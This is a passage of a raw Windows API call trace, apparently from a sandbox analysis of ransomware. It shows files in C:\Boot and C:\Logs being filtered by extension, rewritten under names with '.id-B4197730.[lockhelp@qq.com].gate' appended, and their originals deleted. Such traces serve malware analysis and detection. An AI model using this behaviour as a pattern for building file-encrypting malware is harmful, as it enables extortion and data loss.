[0273.243] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.243] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.243] lstrlenW (lpString=".jpg") returned 4 [0273.243] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.243] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0273.243] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0273.243] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0273.243] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=77664) returned 1 [0273.243] CloseHandle (hObject=0x338) returned 1 [0273.243] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0273.243] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.244] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.244] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.244] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.244] lstrlenW (lpString=".doc") returned 4 [0273.244] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.244] lstrlenW (lpString=".docx") returned 5 [0273.244] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.244] lstrlenW (lpString=".pdf") returned 4 [0273.244] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.244] lstrlenW (lpString=".xls") returned 4 [0273.244] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.244] lstrlenW (lpString=".xlsx") returned 5 [0273.244] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.244] lstrlenW (lpString=".ppt") returned 4 [0273.244] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.244] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.244] lstrlenW (lpString=".zip") returned 4 [0273.244] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.244] lstrlenW (lpString=".rar") returned 4 [0273.244] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.244] lstrlenW (lpString=".bz2") returned 4 [0273.244] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.244] lstrlenW (lpString=".7z") returned 3 [0273.244] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.244] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.244] lstrlenW (lpString=".dbf") returned 4 [0273.244] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.244] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.244] lstrlenW (lpString=".1cd") returned 4 [0273.244] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.244] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.245] lstrlenW (lpString=".jpg") returned 4 [0273.245] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.245] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.245] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.245] lstrlenW (lpString=".doc") returned 4 [0273.245] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.245] lstrlenW (lpString=".docx") returned 5 [0273.245] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.245] lstrlenW (lpString=".pdf") returned 4 [0273.245] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.245] lstrlenW (lpString=".xls") returned 4 [0273.245] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.245] lstrlenW (lpString=".xlsx") returned 5 [0273.245] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.245] lstrlenW (lpString=".ppt") returned 4 [0273.245] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.245] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.245] lstrlenW (lpString=".zip") returned 4 [0273.245] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.245] lstrlenW (lpString=".rar") returned 4 [0273.245] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.245] lstrlenW (lpString=".bz2") returned 4 [0273.245] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.245] lstrlenW (lpString=".7z") returned 3 [0273.245] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.245] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.245] lstrlenW (lpString=".dbf") returned 4 [0273.245] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.245] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.245] lstrlenW (lpString=".1cd") returned 4 [0273.245] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.245] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0273.245] lstrlenW (lpString=".jpg") returned 4 [0273.245] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.246] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0273.246] lstrlenW (lpString="memtest.exe.mui") returned 15 [0273.246] CreateFileW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0273.249] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=45984) returned 1 [0273.249] CloseHandle (hObject=0x338) returned 1 [0273.249] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0273.249] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.249] CreateFileW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.249] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.249] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.249] lstrlenW (lpString=".doc") returned 4 [0273.249] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.249] lstrlenW (lpString=".docx") returned 5 [0273.249] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.249] lstrlenW (lpString=".pdf") returned 4 [0273.249] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.249] lstrlenW (lpString=".xls") returned 4 [0273.249] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.249] lstrlenW (lpString=".xlsx") returned 5 [0273.250] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.250] lstrlenW (lpString=".ppt") returned 4 [0273.250] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.250] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.250] lstrlenW (lpString=".zip") returned 4 [0273.250] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.250] lstrlenW (lpString=".rar") returned 4 [0273.250] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.250] lstrlenW (lpString=".bz2") returned 4 [0273.250] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.250] lstrlenW (lpString=".7z") returned 3 [0273.250] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.250] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.250] lstrlenW (lpString=".dbf") returned 4 [0273.250] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.250] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.250] lstrlenW (lpString=".1cd") returned 4 [0273.250] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.250] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.250] lstrlenW (lpString=".jpg") returned 4 [0273.250] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.250] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.250] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.250] lstrlenW (lpString=".doc") returned 4 [0273.250] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.250] lstrlenW (lpString=".docx") returned 5 [0273.250] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.250] lstrlenW (lpString=".pdf") returned 4 [0273.250] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.250] lstrlenW (lpString=".xls") returned 4 [0273.250] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.250] lstrlenW (lpString=".xlsx") returned 5 [0273.250] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.250] lstrlenW (lpString=".ppt") returned 4 [0273.251] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.251] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.251] lstrlenW (lpString=".zip") returned 4 [0273.251] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.251] lstrlenW (lpString=".rar") returned 4 [0273.251] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.251] lstrlenW (lpString=".bz2") returned 4 [0273.251] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.251] lstrlenW (lpString=".7z") returned 3 [0273.251] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.251] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.251] lstrlenW (lpString=".dbf") returned 4 [0273.251] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.251] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.251] lstrlenW (lpString=".1cd") returned 4 [0273.251] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.251] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0273.251] lstrlenW (lpString=".jpg") returned 4 [0273.251] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.251] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0273.251] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0273.251] CreateFileW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0273.252] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=75104) returned 1 [0273.252] CloseHandle (hObject=0x338) returned 1 [0273.252] GetFileAttributesW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0273.252] GetFileAttributesW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.252] CreateFileW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.252] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0273.252] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0273.252] lstrlenW (lpString=".doc") returned 4 [0273.252] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.252] lstrlenW (lpString=".docx") returned 5 [0273.252] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.252] lstrlenW (lpString=".pdf") returned 4 [0273.252] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.252] lstrlenW (lpString=".xls") returned 4 [0273.252] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.252] lstrlenW (lpString=".xlsx") returned 5 [0273.252] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.252] lstrlenW (lpString=".ppt") returned 4 [0273.252] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.252] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0273.252] lstrlenW (lpString=".zip") returned 4 [0273.252] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.252] lstrlenW (lpString=".rar") returned 4 [0273.252] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.253] lstrlenW (lpString=".bz2") returned 4 [0273.253] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.253] lstrlenW (lpString=".7z") returned 3 [0273.253] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.553] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0274.467] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.467] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.467] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.467] GetLastError () returned 0x0 [0274.467] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0274.541] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0274.543] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0274.543] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x136, lpOverlapped=0x0) returned 1 [0274.543] SetEndOfFile (hFile=0x39c) returned 1 [0274.543] CloseHandle (hObject=0x39c) returned 1 [0275.461] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.461] SetEndOfFile (hFile=0x398) returned 1 [0275.464] CloseHandle (hObject=0x398) returned 1 [0275.464] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.464] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0275.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.464] lstrlenW (lpString=".doc") returned 4 [0275.465] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.465] lstrlenW (lpString=".docx") returned 5 [0275.465] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.465] lstrlenW (lpString=".pdf") returned 4 [0275.465] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.465] lstrlenW (lpString=".xls") returned 4 [0275.465] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.465] lstrlenW (lpString=".xlsx") returned 5 [0275.465] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.465] lstrlenW (lpString=".ppt") returned 4 [0275.465] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.465] lstrlenW (lpString=".zip") returned 4 [0275.465] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.465] lstrlenW (lpString=".rar") returned 4 [0275.465] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.465] lstrlenW (lpString=".bz2") returned 4 [0275.465] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.465] lstrlenW (lpString=".7z") returned 3 [0275.465] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.465] lstrlenW (lpString=".dbf") returned 4 [0275.465] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.465] lstrlenW (lpString=".1cd") returned 4 [0275.465] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.465] lstrlenW (lpString=".jpg") returned 4 [0275.465] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.465] lstrlenW (lpString=".doc") returned 4 [0275.465] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.466] lstrlenW (lpString=".docx") returned 5 [0275.466] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.466] lstrlenW (lpString=".pdf") returned 4 [0275.466] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.466] lstrlenW (lpString=".xls") returned 4 [0275.466] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.466] lstrlenW (lpString=".xlsx") returned 5 [0275.466] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.466] lstrlenW (lpString=".ppt") returned 4 [0275.466] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.466] lstrlenW (lpString=".zip") returned 4 [0275.466] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.466] lstrlenW (lpString=".rar") returned 4 [0275.466] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.466] lstrlenW (lpString=".bz2") returned 4 [0275.466] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.466] lstrlenW (lpString=".7z") returned 3 [0275.466] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.466] lstrlenW (lpString=".dbf") returned 4 [0275.466] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.466] lstrlenW (lpString=".1cd") returned 4 [0275.466] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0275.466] lstrlenW (lpString=".jpg") returned 4 [0275.466] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.466] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.466] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54 [0275.467] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0275.467] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0275.467] CloseHandle (hObject=0x398) returned 1 [0275.467] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0275.467] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.467] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0275.467] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.467] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.467] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0275.467] GetLastError () returned 0x0 [0275.467] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.678] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.680] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0275.680] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x140, lpOverlapped=0x0) returned 1 [0275.680] SetEndOfFile (hFile=0x39c) returned 1 [0275.686] CloseHandle (hObject=0x39c) returned 1 [0275.688] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.688] SetEndOfFile (hFile=0x398) returned 1 [0275.689] CloseHandle (hObject=0x398) returned 1 [0275.689] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.689] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0275.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0275.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0275.690] lstrlenW (lpString=".doc") returned 4 [0275.690] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.690] lstrlenW (lpString=".docx") returned 5 [0275.690] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.690] lstrlenW (lpString=".pdf") returned 4 [0275.690] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.690] lstrlenW (lpString=".xls") returned 4 [0275.690] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.690] lstrlenW (lpString=".xlsx") returned 5 [0275.690] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.690] lstrlenW (lpString=".ppt") returned 4 [0275.690] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0275.690] lstrlenW (lpString=".zip") returned 4 [0275.690] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.690] lstrlenW (lpString=".rar") returned 4 [0275.690] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.690] lstrlenW (lpString=".bz2") returned 4 [0275.690] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.690] lstrlenW (lpString=".7z") returned 3 [0275.690] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 